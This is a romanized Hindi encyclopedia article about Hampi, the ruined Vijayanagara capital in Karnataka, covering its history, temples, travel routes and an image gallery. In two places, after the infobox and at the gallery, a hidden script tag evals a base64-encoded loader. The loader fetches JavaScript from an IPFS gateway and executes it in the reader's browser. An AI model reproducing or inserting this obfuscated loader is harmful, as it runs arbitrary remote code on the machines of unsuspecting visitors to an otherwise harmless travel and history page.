हम्पी
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hampi
| |
| vivaran | hamhpi bharat ka ek pramukh paryatan sthal hai. |
| rajy | karnatak |
| zila | bellari zila |
| nirman kal | 1336 |
| bhaugolik sthiti | uttar- 15.335° poorv- 76.462° |
| marg sthiti | hampi belagaanv se 190 kilomitar, beangळooru se 350 kilomitar, gova se 312 kilomitar door hai. |
| prasiddhi | yoonesko ki vishv virasat sthal soochi mean shamil hai. |
| kab jaean | aktoobar se march |
| kaise pahuanchean | havaee jahaz, rel v s dak marg dvara pahuancha ja sakata hai. |
| havaee adda | nazadiki bellari havaee adda |
| relave steshan | nazadiki hospet relave steshan |
| bas adda | hampi bas adda |
| yatayat | rel, bas, taiksi |
| kya dekhean | virupaksh mandir, badav liang, lakshmi narasimha mandir, hazara ram mandir, kamal mahal, haus aauf viktari, sangrahalay, hathighar adi. |
| kahaan thaharean | hotal, atithi grah |
| kya kharidean | hast shilp ki vastuean, hospet ki dukanoan se hathakaragha ki chizean |
| es.ti.di. kod | 08394 |
| chitr:Map-icon.gif | googal manachitr |
| bhasha | kann d bhasha, hindi bhasha |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
hampi madhyakalin hindoo rajy vijayanagar samrajy ki rajadhani tha. tuangabhadra nadi ke tat par sthit yah nagar ab 'hampi' ke nam se jana jata hai. yah prachin shanadar nagar ab matr khandaharoan ke roop mean hi avashesh aansh mean upasthit hai. yahaan ke khandaharoan ko dekhane se yah sahaj hi pratit hota hai ki kisi samay mean hampi mean ek samriddhashali sabhyata nivas karati thi. bharat ke karnatak rajy mean sthit yah nagar yoonesko dvara 'vishv virasat sthaloan' ki soochi mean bhi shamil hai.[1]
namakaran
- prasiddh madhyakalin vijayanagar rajy ke khandahar hampi ke nikat vishal khandaharoan ke roop mean p de hue haian. kahate haian ki 'pampapati' ke karan hi is sthan ka nam hampi hua hai. sthaniy log 'p' ka uchcharan 'h' kahate haian aur 'panpapati' ko 'hampapati' (hanpapathi) kahate haian. hampi 'hampapati' ka hi laghuroop hai.
[[chitr:Tungabhadra-River.jpg|thumb|250px|left|tuangabhadra nadi, hampi]]
- yah mana jata hai ki ek samay mean hampi rom se bhi samriddh nagar tha. prasiddh madhyakalin vijayanagar rajy ke khandahar vartaman hampi mean maujood haian. is samrajy ki rajadhani ke khandahar sansar ko yah ghoshit karate haian ki isake gaurav ke dinoan mean svadeshi kalakaroan ne yahaan vastukala, chitrakala evan moortikala ki ek prithakh shaili ka vikas kiya tha. hampi pattharoan se ghira shahar hai. yahaan mandiroan ki khoobasoorat shriankhala hai, isalie ise mandiroan ka shahar bhi kaha jata hai.
itihas
hampi ka itihas pratham shatabdi se praranbh hota hai. us samay isake asapas bauddhoan ka karyasthal tha. bad mean hampi vijayanagar samrajy ki rajadhani bana. vijayanagar hinduoan ke sabase vishal samrajyoan mean se ek tha. harihar aur bukka namak do bhaeeyoan ne 1336 ee. mean is samrajy ki sthapana ki thi. krishnadev ray ne yahaan 1509 se 1529 ke bich hampi mean shasan kiya aur apane samrajy ka vistar kiya. hampi mean shesh rahe adhikatar smarakoan ka nirman krishnadev ray ne karavaya tha. yahaan char panktiyoan ki qilebandi nagar ki raksha karati thi. is samrajy ki vishal sena doosare rajyoan se isaki raksha karati thi. vijayanagar samrajy ke arnhtagat karnatak, maharashtr aur andhr pradesh ke rajy ate the. krishnadevaray ki mrityu ke bad is vishal samrajy ko bidar, bijapur, golakuanda, ahamadanagar aur barar ki muslim senaoan ne 1565 mean nasht kar diya. karnatak rajy mean sthit hampi ko ramayanakal mean pampa aur kishkindha ke nam se jana jata tha. hampi nam hampadevi ke mandir ke karan p da. hampadevi mandir gyarahavian se terahavian shatabdi ke bich banavaya gaya tha. vijayanagar ke prachin bhavanoan ka vistrit vivaran laangaharst ne apani pustak 'hampi ruians' mean diya hai.[2]
sthapaty kala
vijayanagar ke shasakoan ne mantranagrihoan, sarvajanik karyalayoan, sianchaee ke sadhanoan, devalayoan tatha prasadoan ke nirman mean bahut utsah dikhaya. videshi yatri nooniz ne nagar ke andar sianchaee ki adbhut vyavastha aur vishal jalashayoan ka varnan kiya hai. rajakiy parakote ke aantargat anek prasad, bhavan evan udyan banaye gaye the. rajakiy parivar ki striyoan ke lie anek sundar bhavan the, jinamean 'kamal-prasad' sundaratam tha. yah bharatiy vastukala ka adbhut udaharan tha.
mandir
yahaan anek mandir banavaye gaye the. thumb|250px|left|hampi ke avashesh laangaharst kahata hai ki-
krishnadevaray ke shasan kal mean banaya gaya prasiddh 'hazararam mandir' vidyaman hindoo mandiroan ki vastukala ke poornatam namoonoan mean se ek hai.
mandir ki divaroan par ramayan ke sabhi pramukh drishy b di sundarata se ukere gaye haian. yah mandir raj parivar ki striyoan ki pooja ke liye banavaya gaya tha. 'vitthalasvami mandir' bhi vijayanagar shaili ka ek sundar namoona hai. fargyoosan ke vichar mean-
yah phooloan se alankrit vaibhav ki parakashtha ka dyotak hai, jahaan tak shaili pahuanch chuki thi.
hampi mean vitthalasvami ka mandir sabase ooancha hai. yah vijayanagar ke aishvary tatha kalavaibhav ke charamotkarsh ka dyotak hai. mandir ke kalyanamandap ki naqqashi itani sookshm aur saghan hai ki yah dekhate hi banata hai. mandir ka bhitari bhag 55 phut lamba hai. aur isake madhy mean ooanchi vedika bani hai. vitthal bhagavanh ka rath keval ek hi patthar mean se kata hua hai. mandir ke nichale bhag mean sarvatr naqqashi ki huee hai. laangaharst ke kathananusar- "yadyapi mandap ki chhat kabhi poori nahian banaee ja saki thi aur isake stanbhoan mean se anek ko muslim akramanakariyoan ne nasht kar diya, to bhi yah mandir dakshin bharat ka sarvotkrisht mandir kaha ja sakata hai. fargyusan ne bhi is mandir mean huee naqqashi ki bhoori-bhoori prashansa ki hai. kaha jata hai ki pandharapur ke vitthal bhagavan is mandir ki vishalata dekhakar yahaan akar phir pandharapur chale ge the.
- kahani
kaha jata hai ki hampi ke har patthar mean kahani basi hai. yahaan do patthar trikon akar mean ju de hue haian. donoan dekhane mean ek jaise hi haian, isalie inhean sistar stoans kaha jata hai. isake pichhe bhi ek kahani prachalit hai. do eershyalu bahanean hampi ghoomane aeean, ve hampi ki buraee karane lagian. shahar ki devi ne jab yah suna to un donoan bahanoan ko patthar mean tabdil kar diya.
yatayat aur parivahan
[[chitr:Hampi-10.jpg|tuangabhadra nadi, hampi|thumb|250px]] hampi jane ke lie havaee, rel aur s dak marg ko apani suvidhanusar apanaya ja sakata hai. hampi jane ke lie hospet jana p data hai. haidarabad se hospet ke lie rel hai. hospet se age 15 kilomitar ki doori par hampi hai.
- havaee marg
hampi se 77 kilomitar door bellari sabase nazadiki havaee adda hai. baiangalor se bellari ke lie niyamit u danoan ki vyavastha hai. bellari se rajy parivahan ki basoan aur taiksi dvara hampi pahuancha ja sakata hai.
- rel marg
hampi se 13 kilomitar door hospet nazadiki relave steshan hai. yah relave steshan hubali, baiangalor, guantakal se ju da hua hai. hospet se rajy parivahan ki niyamit basean hampi tak jati haian. hampi ke avashesh|thumb|250px|left
- s dak marg
hospet se s dak marg ke dvara hampi pahuancha ja sakata hai. hampi belagaanv se 190 kilomitar door beangळooru se 350 kilomitar door, gova se 312 kilomitar door hai.[2]
udyog
itihasakaroan ne hampi ko vyapar ka pramukh kendr kaha hai. ruee aur masaloan ke vyaparik marg par niyantran karane ke bad hampi ki khoob unnati huee hai.
jalavayu
hampi ki jalavayu ushnakatibandhiy hai. yahaan garmiyoan mean adhik garmi aur sardiyoan mean adhik thand p dati hai. joon se agast tak yahaan barasat ka mausam rahata hai. aktoobar se march ki avadhi hampi jane ke lie sabase uttam mani jati hai.[2]
paryatan
thumb|vithala mandir, hampi thumb|left|badav liang, hampi yoonesko ki vishv virasat ki soochi mean shamil hamhpi bharat ka ek pramukh paryatan sthal hai. 2002 mean bharat sarakar ne ise pramukh paryatan kendr ke roop mean vikasit karane ki ghoshana ki thi. hampi mean sthit darshaniy sthaloan mean sammilit haian- viroopaksh mandir, raghunath mandir, narasimha mandir, sugriv gufa, vithala mandir, krishna mandir, hazara ram mandir, kamal mahal tatha mahanavami dibba adi. hampi se 6 kilomitar door tuangabhadra baandh sthit hai.
mandiroan ka shahar
hampi mandiroan ka shahar hai jisaka nam pampa se liya gaya hai. pampa tuangabhadra nadi ka purana nam hai. hampi isi nadi ke kinare basa hua hai. pauranik granth ramayan mean bhi hampi ka ullekh vanar rajy kishkindha ki rajadhani ke taur par kiya gaya hai. shayad yahi vajah hai ki yahaan kee bandar haian. hampi se pahale eneguandi vijayanagar ki rajadhani hua karati thi. darasal yah gaanv hai, jo vikas ki raftar mean kafi pichh da hua hai. yahaan ke nivasiyoan ko bilkul nahian pata ki sadiyoan pahale yah jagah kaisi hua karati thi. nav vriandavan mandir tak pahuanchane ke lie nav ke zarie nadi par karani p dati hai, jise kann d mean teppa kaha jata hai. yahaan ke logoan ka vishvas hai ki nav vriandavan mandir ke pattharoan mean jan hai, isalie logoan ko inhean chhoone ki ijazat nahian hai.
virupaksh mandir
[[chitr:Virupraksha-Temple-Hampi.jpg|virupaksh mandir, hampi|thumb]]
- REDIRECTsaancha:mukhy
virupaksh mandir ko panpapati mandir bhi kaha jata hai, yah hemakuta paha diyoan ke nichale hisse mean sthit hai. hampi ke kee akarshanoan mean se yah mukhy hai. 1509 mean apane abhishek ke samay krishnadev ray ne gopu da ka nirman karavaya tha. bhagavan vithala ya bhagavan vishnu ko yah mandir samarpit hai. 15vian shatabdi mean nirmit yah mandir bazar kshetr mean sthit hai. yah nagar ke sabase prachin smarakoan mean se ek hai. mandir ka shikhar zamin se 50 mitar ooancha hai. mandir ka sanbandh vijayanagar kal se hai. is vishal mandir ke aandar anek chhote-chhote mandir haian jo viroopaksh mandir se bhi prachin haian. mandir ke poorv mean patthar ka ek vishal nandi hai jabaki dakshin ki or bhagavan ganesh ki vishal pratima hai. yahaan ardh sianh aur ardh manushy ki deh dharan kie narasianh ki 6.7 mitar ooanchi moorti hai.[2] thumb|left|patthar ka rath, hampi kianvadanti hai ki bhagavan vishnu ne is jagah ko apane rahane ke lie kuchh adhik hi b da samajha aur apane ghar vapas laut ge. virupaksh mandir bhoomigat shiv mandir hai. mandir ka b da hissa pani ke andar samahit hai, isalie vahaan koee nahian ja sakata. bahar ke hisse ke muqabale mandir ke is hisse ka tapaman bahut kam rahata hai.
- rath
vithala mandir ka mukhy akarshan isaki khambe vali divarean aur patthar ka bana rath hai. inhean sangitamay khanbhe ke nam se jana jata hai, kyoanki pyar se thapathapane par inamean se sangit nikalata hai. patthar ka bana rath vastukala ka adbhut namoona hai. patthar ko tarashakar isamean mandir banaya gaya hai, jo rath ke akar mean hai. kaha jata hai ki isake pahiye ghoomate the, lekin inhean bachane ke lie simeant ka lep laga diya gaya hai.
- badav liang
pas mean sthit badav liang charoan or se pani se ghira hai, kyoanki is mandir se hi nahar guzarati hai. manyata hai ki hampi ke ek garib nivasi ne pran liya tha ki yadi usaki qismat chamak uthi to vah shivaliang ka nirman karavaya. badav ka matalab garib hi hota hai.
- lakshmi narasimha mandir
hampi lakshmi narasimha mandir ya ugr narasimha mandir b de chattanoan se bana hua hai, yah hampi ki sabase ooanchi moorti hai. yah qarib 6.7 mitar ooanchi hai. narasimha adishesh par virajaman haian. asal mean moorti ke ek ghutane par lakshmi ji ki chhoti tasvir bani huee hai, jo vijayanagar samrajy par akraman ke samay dhoomil ho gee.
- rani ka snanagar
hampi mean sthit rani ka snanagar charoan or se band hai. 15 varg mitar ke is snanagar mean gailari, baramada aur rajasthani balakani hai. kabhi is snanagar mean sugandhit shital jal chhoti-si jhil se ata hai, jo bhoomigat nali ke madhyam se snanagar se ju da hua tha. yah snanagar charoan or se ghira aur oopar se khula hai.[2] thumb|250px|right|patthar ka nandi, hampi
- hazara ram mandir
hazara ram mandir hampi ke raja ka niji mandir mana jata tha. mandir ki bhitari aur bahari divaroan par behatarin naqqashi ki gee hai. bahari kamaroan ki chhatoan ke thik niche bani naqqashi mean hathi, gho da, nrity karati balaoan aur march karati sena ki tuk diyoan ko darshaya gaya hai, jabaki bhitari hisse mean ramayan aur devataoan ke drishy dikhae ge haian. isamean asankhy pankhoan vale garu d ko bhi chitrit kiya gaya hai.[2]
- kamal mahal
hampi mean sthit kamal ke akar ka do manjila mahal aur isaka muander mahal paryatakoan ko apani or akarshit karata hai. kamal mahal hazara ram mandir ke samip hai. yah mahal indo-islamik shaili ka mishrit roop hai. kaha jata hai ki rani ke mahal ke asapas rahane vali rajakiy parivaroan ki mahilaean amod-pramod ke lie yahaan ati thian. mahal ke meharab bahut akarshak haian.[2] killina rath vithal mandir|left|250px|thumb
- haus aauf viktari
haus aauf viktari sthan vijayanagar ke shasakoan ka asan tha. ise krishnadevaray ke samman mean banavaya gaya jinhoanne yuddh mean odisha ke rajaoan ko parajit kiya tha. vah haus aauf viktari ke vishal sianhasan par baithate the aur nau divasiy dasara parv ko yahaan se dekhate the.[2]
- sangrahalay
kamalapur mean sthit puratattv vibhag ka sangrahalay bahut-si prachin moortiyoan aur hastashilpoan ka sagranh hai. is kshetr ki samast hastashilpoan ko yahaan dekha ja sakata hai.[2]
- hathighar
hampi ka hathighar jinan kshetr se sata hua hai. yah gumbadanuma imarat hai jisaka istemal rajakiy hathiyoan ke lie kiya jata tha. isake pratyek chembar mean ek sath gyarah hathi rah sakate the. yah hindoo-muslim nirman kala ka uttam namoona hai.[2]
- REDIRECTsaancha:inhean bhi dekhean
vithika
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- chitr:Hampi-Mascot.jpg
hampi ke shubhankar
- chitr:Hampi-1.jpg
hampi ka ek drishy
- chitr:Hampi-4.jpg
hampi, karnatak
- chitr:Hampi-2.jpg
hampi ke avashesh
- chitr:Hampi-12.jpg
hampi, karnatak
- chitr:Hampi-13.jpg
hampi, karnatak
- chitr:Hampi-11.jpg
hampi, karnatak
- chitr:Hampi-Karnataka-1.jpg
hampi, karnatak
- chitr:Hampi-9.jpg
hampi, karnatak
- chitr:Hampi-29.jpg
hampi
- chitr:Hampi-8.jpg
hampi, karnatak
- chitr:Hampi-7.jpg
hampi ke avashesh
- chitr:Lakshmi-Narsmiha-Hampi.jpg
lakshmi narasimha, hampi
- chitr:Hazara-Rama-Temple.jpg
hazara ram mandir, hampi
- chitr:Lotus-Mahal.jpg
kamal mahal, hampi
- chitr:Elephant-Stables-Hampi.jpg
hathighar, hampi
- chitr:Hampi-6.jpg
hampi ke avashesh
- chitr:Hampi-Karnataka-2.jpg
hampi, karnatak
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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